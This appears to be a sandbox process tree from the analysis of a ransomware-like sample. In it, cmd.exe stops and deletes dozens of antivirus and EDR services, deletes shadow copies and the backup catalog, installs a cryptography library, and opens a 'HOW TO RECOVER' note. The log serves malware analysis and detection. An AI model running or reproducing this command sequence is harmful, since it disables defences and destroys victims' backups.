C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop WdNisSvc /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop WdNisSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop WdNisSvc"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop WdNisSvc5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete WdNisSvc"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete WdNisSvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop TmProxy /y"4⤵
-
C:\Windows\system32\net.exenet stop TmProxy /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TmProxy /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop TmProxy"4⤵
-
C:\Windows\system32\sc.exesc stop TmProxy5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete TmProxy"4⤵
-
C:\Windows\system32\sc.exesc delete TmProxy5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop Sophos Anti-Virus /y"4⤵
-
C:\Windows\system32\net.exenet stop Sophos Anti-Virus /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sophos Anti-Virus /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Sophos Anti-Virus"4⤵
-
C:\Windows\system32\sc.exesc stop Sophos Anti-Virus5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete Sophos Anti-Virus"4⤵
-
C:\Windows\system32\sc.exesc delete Sophos Anti-Virus5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop avast! Antivirus /y"4⤵
-
C:\Windows\system32\net.exenet stop avast! Antivirus /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop avast! Antivirus /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop avast! Antivirus"4⤵
-
C:\Windows\system32\sc.exesc stop avast! Antivirus5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete avast! Antivirus"4⤵
-
C:\Windows\system32\sc.exesc delete avast! Antivirus5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop Sense /y"4⤵
-
C:\Windows\system32\net.exenet stop Sense /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Sense"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop Sense5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete Sense"4⤵
-
C:\Windows\system32\sc.exesc delete Sense5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop bdagent /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop bdagent /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop bdagent /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop bdagent"4⤵
-
C:\Windows\system32\sc.exesc stop bdagent5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete bdagent"4⤵
-
C:\Windows\system32\sc.exesc delete bdagent5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop eProxy /y"4⤵
-
C:\Windows\system32\net.exenet stop eProxy /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop eProxy /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop eProxy"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop eProxy5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete eProxy"4⤵
-
C:\Windows\system32\sc.exesc delete eProxy5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop ekrn /y"4⤵
-
C:\Windows\system32\net.exenet stop ekrn /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ekrn /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop ekrn"4⤵
-
C:\Windows\system32\sc.exesc stop ekrn5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete ekrn"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete ekrn5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop wscsvc /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop wscsvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop wscsvc"4⤵
-
C:\Windows\system32\sc.exesc stop wscsvc5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete wscsvc"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete wscsvc5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop WRSA /y"4⤵
-
C:\Windows\system32\net.exenet stop WRSA /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WRSA /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop WRSA"4⤵
-
C:\Windows\system32\sc.exesc stop WRSA5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete WRSA"4⤵
-
C:\Windows\system32\sc.exesc delete WRSA5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop Norton Security /y"4⤵
-
C:\Windows\system32\net.exenet stop Norton Security /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Norton Security /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Norton Security"4⤵
-
C:\Windows\system32\sc.exesc stop Norton Security5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete Norton Security"4⤵
-
C:\Windows\system32\sc.exesc delete Norton Security5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop BitDefender_UpdateServer /y"4⤵
-
C:\Windows\system32\net.exenet stop BitDefender_UpdateServer /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BitDefender_UpdateServer /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop BitDefender_UpdateServer"4⤵
-
C:\Windows\system32\sc.exesc stop BitDefender_UpdateServer5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete BitDefender_UpdateServer"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete BitDefender_UpdateServer5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop CylanceSvc /y"4⤵
-
C:\Windows\system32\net.exenet stop CylanceSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CylanceSvc /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop CylanceSvc"4⤵
-
C:\Windows\system32\sc.exesc stop CylanceSvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete CylanceSvc"4⤵
-
C:\Windows\system32\sc.exesc delete CylanceSvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop MBAMAgent /y"4⤵
-
C:\Windows\system32\net.exenet stop MBAMAgent /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMAgent /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop MBAMAgent"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop MBAMAgent5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete MBAMAgent"4⤵
-
C:\Windows\system32\sc.exesc delete MBAMAgent5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop McAfeeAP /y"4⤵
-
C:\Windows\system32\net.exenet stop McAfeeAP /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeAP /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop McAfeeAP"4⤵
-
C:\Windows\system32\sc.exesc stop McAfeeAP5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete McAfeeAP"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete McAfeeAP5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop cmdagent /y"4⤵
-
C:\Windows\system32\net.exenet stop cmdagent /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop cmdagent /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop cmdagent"4⤵
-
C:\Windows\system32\sc.exesc stop cmdagent5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete cmdagent"4⤵
-
C:\Windows\system32\sc.exesc delete cmdagent5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop CSFalcon /y"4⤵
-
C:\Windows\system32\net.exenet stop CSFalcon /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CSFalcon /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop CSFalcon"4⤵
-
C:\Windows\system32\sc.exesc stop CSFalcon5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete CSFalcon"4⤵
-
C:\Windows\system32\sc.exesc delete CSFalcon5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop ccEvtMgr /y"4⤵
-
C:\Windows\system32\net.exenet stop ccEvtMgr /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop ccEvtMgr"4⤵
-
C:\Windows\system32\sc.exesc stop ccEvtMgr5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete ccEvtMgr"4⤵
-
C:\Windows\system32\sc.exesc delete ccEvtMgr5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop SavService /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop SavService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SavService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop SavService"4⤵
-
C:\Windows\system32\sc.exesc stop SavService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete SavService"4⤵
-
C:\Windows\system32\sc.exesc delete SavService5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop FSGK32 /y"4⤵
-
C:\Windows\system32\net.exenet stop FSGK32 /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FSGK32 /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop FSGK32"4⤵
-
C:\Windows\system32\sc.exesc stop FSGK325⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete FSGK32"4⤵
-
C:\Windows\system32\sc.exesc delete FSGK325⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop VipreEndpoint /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop VipreEndpoint /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VipreEndpoint /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop VipreEndpoint"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop VipreEndpoint5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete VipreEndpoint"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete VipreEndpoint5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop TMMyWeb /y"4⤵
-
C:\Windows\system32\net.exenet stop TMMyWeb /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TMMyWeb /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop TMMyWeb"4⤵
-
C:\Windows\system32\sc.exesc stop TMMyWeb5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete TMMyWeb"4⤵
-
C:\Windows\system32\sc.exesc delete TMMyWeb5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop ccSetMgr /y"4⤵
-
C:\Windows\system32\net.exenet stop ccSetMgr /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop ccSetMgr"4⤵
-
C:\Windows\system32\sc.exesc stop ccSetMgr5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete ccSetMgr"4⤵
-
C:\Windows\system32\sc.exesc delete ccSetMgr5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop KAVFS /y"4⤵
-
C:\Windows\system32\net.exenet stop KAVFS /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAVFS /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop KAVFS"4⤵
-
C:\Windows\system32\sc.exesc stop KAVFS5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete KAVFS"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete KAVFS5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop EmsisoftSecurityService /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop EmsisoftSecurityService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EmsisoftSecurityService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EmsisoftSecurityService"4⤵
-
C:\Windows\system32\sc.exesc stop EmsisoftSecurityService5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete EmsisoftSecurityService"4⤵
-
C:\Windows\system32\sc.exesc delete EmsisoftSecurityService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop MBAMService /y"4⤵
-
C:\Windows\system32\net.exenet stop MBAMService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop MBAMService"4⤵
-
C:\Windows\system32\sc.exesc stop MBAMService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete MBAMService"4⤵
-
C:\Windows\system32\sc.exesc delete MBAMService5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop rtvscan /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop rtvscan /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop rtvscan /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop rtvscan"4⤵
-
C:\Windows\system32\sc.exesc stop rtvscan5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete rtvscan"4⤵
-
C:\Windows\system32\sc.exesc delete rtvscan5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop F-Secure Network /y"4⤵
-
C:\Windows\system32\net.exenet stop F-Secure Network /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop F-Secure Network /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop F-Secure Network"4⤵
-
C:\Windows\system32\sc.exesc stop F-Secure Network5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete F-Secure Network"4⤵
-
C:\Windows\system32\sc.exesc delete F-Secure Network5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop BitDefender_ScanServer /y"4⤵
-
C:\Windows\system32\net.exenet stop BitDefender_ScanServer /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BitDefender_ScanServer /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop BitDefender_ScanServer"4⤵
-
C:\Windows\system32\sc.exesc stop BitDefender_ScanServer5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete BitDefender_ScanServer"4⤵
-
C:\Windows\system32\sc.exesc delete BitDefender_ScanServer5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop avast! Firewall /y"4⤵
-
C:\Windows\system32\net.exenet stop avast! Firewall /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop avast! Firewall /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop avast! Firewall"4⤵
-
C:\Windows\system32\sc.exesc stop avast! Firewall5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete avast! Firewall"4⤵
-
C:\Windows\system32\sc.exesc delete avast! Firewall5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"4⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic shadowcopy delete /nointeractive"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete /nointeractive5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"4⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet5⤵
- Deletes backup catalog
-
-
-
C:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exeC:\Users\Admin\AppData\Local\Temp\Update_Temp_Store\python\python.exe -m pip install --target C:\Users\Admin\AppData\Local\Temp\crypto_2484 cryptography -q4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\HOW TO RECOVER.html4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x358,0x7ff9160bc188,0x7ff9160bc194,0x7ff9160bc1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1544,i,13788158125088482158,2466382182948535621,262144 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,3735874346865978723,4915941232682396142,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=2112 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2284,i,9514637247961561392,3239072883532308413,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3580,i,3447290893504937440,16475613973574572674,2097152 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3572,i,3018583473039968010,17414990627983720194,2097152 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3488,i,5172880807223810564,2955876431999586966,2097152 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4216,i,17583869899119223277,17388606944072730072,2097152 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,2339956752193322505,4501832622045320114,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,13380695019162402192,13563775041245750852,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,5261510355483766231,16116037294705796977,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,9101466179738871376,7752666757912468871,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,9101466179738871376,7752666757912468871,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6312,i,990071193996946927,2120865441821761345,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6348,i,16762604865747588015,10974252710967978005,524288 --field-trial-handle=2440,i,16090043449587634719,7427033610910269833,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:145⤵
-
-
-
